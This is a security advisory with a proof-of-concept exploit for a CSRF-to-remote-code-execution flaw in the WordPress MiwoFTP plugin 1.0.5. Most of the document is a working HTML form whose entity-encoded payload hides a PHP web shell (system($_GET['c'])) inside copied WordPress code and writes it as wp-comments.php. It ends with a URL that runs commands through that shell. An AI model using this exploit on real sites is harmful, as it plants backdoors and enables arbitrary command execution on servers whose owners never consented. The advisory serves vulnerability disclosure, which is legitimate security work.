WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Creation Exploit (RCE)


Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5

Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.

Desc: MiwoFTP WP Plugin suffers from a cross-site request forgery
remote code execution vulnerability. The application allows users
to perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to
perform certain actions like executing arbitrary PHP code by uploading
a malicious PHP script file, with administrative privileges, if a
logged-in user visits a malicious web site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5242
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5242.php

Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog


24.03.2015

--


RCE CSRF PoC for masqueraded payload for admin view when editing:
Logic error:
When admin clicks on malicious link the plugin will:

1. Search existing file for edit: action=edit&dir=/&item=wp-comments-post.php.
2. In the root folder of WP, file wp-comments.php is created.
3. Payload is an excerpt from wp-comments-post.php without '<?php' part (SE+HTMLenc).
4. Somewhere below in that code, the evil payload: <?php system($_GET['c']); ?> is inserted.
5. Admin is presented with interface of editing wp-comments.php with contents from wp-comments-post.php.
6. After that, no matter what admin clicks (CSRF) (Save, Reset or Close), backdoor file is created (wp-comments.php).
7. Attacker executes code, ex: http://localhost/wordpress/wp-comments.php?c=whoami



<html>
  <body>
    <form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=/&item=wp-comments-post.php&order=name&srt=yes" method="POST">
      <input type="hidden" name="dosave" value="yes" />
      <input type="hidden" name="code" value="&#x2f;&#x2a;&#x2a;&#x0a;&#x20;&#x2a;&#x20;&#x48;&#x61;&#x6e;&#x64;&#x6c;&#x65;&#x73;&#x20;&#x43;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x50;&#x6f;&#x73;&#x74;&#x20;&#x74;&#x6f;&#x20;&#x57;&#x6f;&#x72;&#x64;&#x50;&#x72;&#x65;&#x73;&#x73;&#x20;&#x61;&#x6e;&#x64;&#x20;&#x70;&#x72;&#x65;&#x76;&#x65;&#x6e;&#x74;&#x73;&#x20;&#x64;&#x75;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x65;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x70;&#x6f;&#x73;&#x74;&#x69;&#x6e;&#x67;&#x2e;&#x0a;&#x20;&#x2a;&#x0a;&#x20;&#x2a;&#x20;&#x40;&#x70;&#x61;&#x63;&#x6b;&#x61;&#x67;&#x65;&#x20;&#x57;&#x6f;&#x72;&#x64;&#x50;&#x72;&#x65;&#x73;&#x73;&#x0a;&#x20;&#x2a;&#x2f;&#x0a;&#x0a;&#x69;&#x66;&#x20;&#x28;&#x20;&#x27;&#x50;&#x4f;&#x53;&#x54;&#x27;&#x20;&#x21;&#x3d;&#x20;&#x24;&#x5f;&#x53;&#x45;&#x52;&#x56;&#x45;&#x52;&#x5b;&#x27;&#x52;&#x45;&#x51;&#x55;&#x45;&#x53;&#x54;&#x5f;&#x4d;&#x45;&#x54;&#x48;&#x4f;&#x44;&#x27;&#x5d;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x68;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x27;&#x41;&#x6c;&#x6c;&#x6f;&#x77;&#x3a;&#x20;&#x50;&#x4f;&#x53;&#x54;&#x27;&#x29;&#x3b;&#x0a;&#x09;&#x68;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x27;&#x48;&#x54;&#x54;&#x50;&#x2f;&#x31;&#x2e;&#x31;&#x20;&#x34;&#x30;&#x35;&#x20;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x20;&#x4e;&#x6f;&#x74;&#x20;&#x41;&#x6c;&#x6c;&#x6f;&#x77;&#x65;&#x64;&#x27;&#x29;&#x3b;&#x0a;&#x09;&#x68;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x27;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x2d;&#x54;&#x79;&#x70;&#x65;&#x3a;&#x20;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x70;&#x6c;&#x61;&#x69;&#x6e;&#x27;&#x29;&#x3b;&#x0a;&#x09;&#x65;&#x78;&#x69;&#x74;&#x3b;&#x0a;&#x7d;&#x0a;&#x0a;&#x2f;&#x2a;&#x2a;&#x20;&#x53;&#x65;&#x74;&#x73;&#x20;&#x75;&#x70;&#x20;&#x74;&#x68;&#x65;&#x20;&#x57;&#x6f;&#x72;&#x64;&#x50;&#x72;&#x65;&#x73;&#x73;&#x20;&#x45;&#x6e;&#x76;&#x69;&#x72;&#x6f;&#x6e;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x20;&#x2a;&#x2f;&#x0a;&#x72;&#x65;&#x71;&#x75;&#x69;&#x72;&#x65;&#x28;&#x20;&#x64;&#x69;&#x72;&#x6e;&#x61;&#x6d;&#x65;&#x28;&#x5f;&#x5f;&#x46;&#x49;&#x4c;&#x45;&#x5f;&#x5f;&#x29;&#x20;&#x2e;&#x20;&#x27;&#x2f;&#x77;&#x70;&#x2d;&#x6c;&#x6f;&#x61;&#x64;&#x2e;&#x70;&#x68;&#x70;&#x27;&#x20;&#x29;&#x3b;&#x0a;&#x0a;&#x6e;&#x6f;&#x63;&#x61;&#x63;&#x68;&#x65;&#x5f;&#x68;&#x65;&#x61;&#x64;&#x65;&#x72;&#x73;&#x28;&#x29;&#x3b;&#x0a;&#x0a;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x3d;&#x20;&#x69;&#x73;&#x73;&#x65;&#x74;&#x28;&#x24;&#x5f;&#x50;&#x4f;&#x53;&#x54;&#x5b;&#x27;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x27;&#x5d;&#x29;&#x20;&#x3f;&#x20;&#x28;&#x69;&#x6e;&#x74;&#x29;&#x20;&#x24;&#x5f;&#x50;&#x4f;&#x53;&#x54;&#x5b;&#x27;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x27;&#x5d;&#x20;&#x3a;&#x20;&#x30;&#x3b;&#x0a;&#x0a;&#x24;&#x70;&#x6f;&#x73;&#x74;&#x20;&#x3d;&#x20;&#x67;&#x65;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x28;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x29;&#x3b;&#x0a;&#x0a;&#x69;&#x66;&#x20;&#x28;&#x20;&#x65;&#x6d;&#x70;&#x74;&#x79;&#x28;&#x20;&#x24;&#x70;&#x6f;&#x73;&#x74;&#x2d;&#x3e;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x29;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x2f;&#x2a;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x46;&#x69;&#x72;&#x65;&#x73;&#x20;&#x77;&#x68;&#x65;&#x6e;&#x20;&#x61;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x69;&#x73;&#x20;&#x61;&#x74;&#x74;&#x65;&#x6d;&#x70;&#x74;&#x65;&#x64;&#x20;&#x6f;&#x6e;&#x20;&#x61;&#x20;&#x70;&#x6f;&#x73;&#x74;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x64;&#x6f;&#x65;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x65;&#x78;&#x69;&#x73;&#x74;&#x2e;&#x0a;&#x09;&#x20;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x40;&#x73;&#x69;&#x6e;&#x63;&#x65;&#x20;&#x31;&#x2e;&#x35;&#x2e;&#x30;&#x0a;&#x09;&#x20;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x40;&#x70;&#x61;&#x72;&#x61;&#x6d;&#x20;&#x69;&#x6e;&#x74;&#x20;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x50;&#x6f;&#x73;&#x74;&#x20;&#x49;&#x44;&#x2e;&#x0a;&#x09;&#x20;&#x2a;&#x2f;&#x0a;&#x09;&#x64;&#x6f;&#x5f;&#x61;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x20;&#x27;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x69;&#x64;&#x5f;&#x6e;&#x6f;&#x74;&#x5f;&#x66;&#x6f;&#x75;&#x6e;&#x64;&#x27;&#x2c;&#x20;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x65;&#x78;&#x69;&#x74;&#x3b;&#x0a;&#x7d;&#x0a;&#x0a;&#x2f;&#x2f;&#x20;&#x67;&#x65;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x29;&#x20;&#x77;&#x69;&#x6c;&#x6c;&#x20;&#x67;&#x65;&#x74;&#x20;&#x74;&#x68;&#x65;&#x20;&#x70;&#x61;&#x72;&#x65;&#x6e;&#x74;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x66;&#x6f;&#x72;&#x20;&#x61;&#x74;&#x74;&#x61;&#x63;&#x68;&#x6d;&#x65;&#x6e;&#x74;&#x73;&#x2e;&#x0a;&#x24;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x3d;&#x20;&#x67;&#x65;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x24;&#x70;&#x6f;&#x73;&#x74;&#x29;&#x3b;&#x0a;&#x0a;&#x24;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x5f;&#x6f;&#x62;&#x6a;&#x20;&#x3d;&#x20;&#x67;&#x65;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x5f;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x28;&#x24;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x29;&#x3b;&#x0a;&#x0a;&#x69;&#x66;&#x20;&#x28;&#x20;&#x21;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x73;&#x5f;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x20;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x29;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x2f;&#x2a;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x46;&#x69;&#x72;&#x65;&#x73;&#x20;&#x77;&#x68;&#x65;&#x6e;&#x20;&#x61;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x69;&#x73;&#x20;&#x61;&#x74;&#x74;&#x65;&#x6d;&#x70;&#x74;&#x65;&#x64;&#x20;&#x6f;&#x6e;&#x20;&#x61;&#x20;&#x70;&#x6f;&#x73;&#x74;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x68;&#x61;&#x73;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x73;&#x20;&#x63;&#x6c;&#x6f;&#x73;&#x65;&#x64;&#x2e;&#x0a;&#x09;&#x20;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x40;&#x73;&#x69;&#x6e;&#x63;&#x65;&#x20;&#x31;&#x2e;&#x35;&#x2e;&#x30;&#x0a;&#x09;&#x20;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x40;&#x70;&#x61;&#x72;&#x61;&#x6d;&#x20;&#x69;&#x6e;&#x74;&#x20;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x50;&#x6f;&#x73;&#x74;&#x20;&#x49;&#x44;&#x2e;&#x0a;&#x09;&#x20;&#x2a;&#x2f;&#x0a;&#x09;&#x64;&#x6f;&#x5f;&#x61;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x20;&#x27;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x63;&#x6c;&#x6f;&#x73;&#x65;&#x64;&#x27;&#x2c;&#x20;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x77;&#x70;&#x5f;&#x64;&#x69;&#x65;&#x28;&#x20;&#x5f;&#x5f;&#x28;&#x20;&#x27;&#x53;&#x6f;&#x72;&#x72;&#x79;&#x2c;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x73;&#x20;&#x61;&#x72;&#x65;&#x20;&#x63;&#x6c;&#x6f;&#x73;&#x65;&#x64;&#x20;&#x66;&#x6f;&#x72;&#x20;&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x74;&#x65;&#x6d;&#x2e;&#x27;&#x20;&#x29;&#x2c;&#x20;&#x34;&#x30;&#x33;&#x20;&#x29;&#x3b;&#x0a;&#x7d;&#x20;&#x65;&#x6c;&#x73;&#x65;&#x69;&#x66;&#x20;&#x28;&#x20;&#x27;&#x74;&#x72;&#x61;&#x73;&#x68;&#x27;&#x20;&#x3d;&#x3d;&#x20;&#x24;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x2f;&#x2a;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x46;&#x69;&#x72;&#x65;&#x73;&#x20;&#x77;&#x68;&#x65;&#x6e;&#x20;&#x61;&#x20;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x69;&#x73;&#x20;&#x61;&#x74;&#x74;&#x65;&#x6d;&#x70;&#x74;&#x65;&#x64;&#x20;&#x6f;&#x6e;&#x20;&#x61;&#x20;&#x74;&#x72;&#x61;&#x73;&#x68;&#x65;&#x64;&#x20;&#x70;&#x6f;&#x73;&#x74;&#x2e;&#x0a;&#x09;&#x20;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x40;&#x73;&#x69;&#x6e;&#x63;&#x65;&#x20;&#x32;&#x2e;&#x39;&#x2e;&#x30;&#x0a;&#x09;&#x20;&#x2a;&#x0a;&#x09;&#x20;&#x2a;&#x20;&#x40;&#x70;&#x61;&#x72;&#x61;&#x6d;&#x20;&#x69;&#x6e;&#x74;&#x20;&#x24;&#x63;&#x6f;&#x6d;&#x6d;&#x65;&#x6e;&#x74;&#x5f;&#x70;&#x6f;&#x73;&#x74;&#x5f;&#x49;&#x44;&#x20;&#x50;&#x6f;&#x73;&#x74;&#x20;&#x49;&#x44;&#x2e;&#x0a;&#x09;&#x20;&#x2a;&#x2f;&#x3c;&#x3f;&#x70;&#x68;&#x70;&#x20;&#x73;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x28;&#x24;&#x5f;&#x47;&#x45;&#x54;&#x5b;&#x27;&#x63;&#x27;&#x5d;&#x29;&#x3b;&#x20;&#x3f;&#x3e;&#x0a;&#x2f;&#x2a;&#x20;&#x46;&#x69;&#x6c;&#x6c;&#x65;&#x72;&#x20;&#x2a;&#x2f;&#x0a;&#x62;&#x79;&#x20;&#x4c;&#x69;&#x71;&#x75;&#x69;&#x64;&#x57;&#x6f;&#x72;&#x6d;&#x2c;&#x20;&#x32;&#x30;&#x31;&#x35;" />
      <input type="hidden" name="fname" value="wp-comments&#46;php" />
	  <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

---

http://localhost/wordpress/wp-comments.php?c=whoami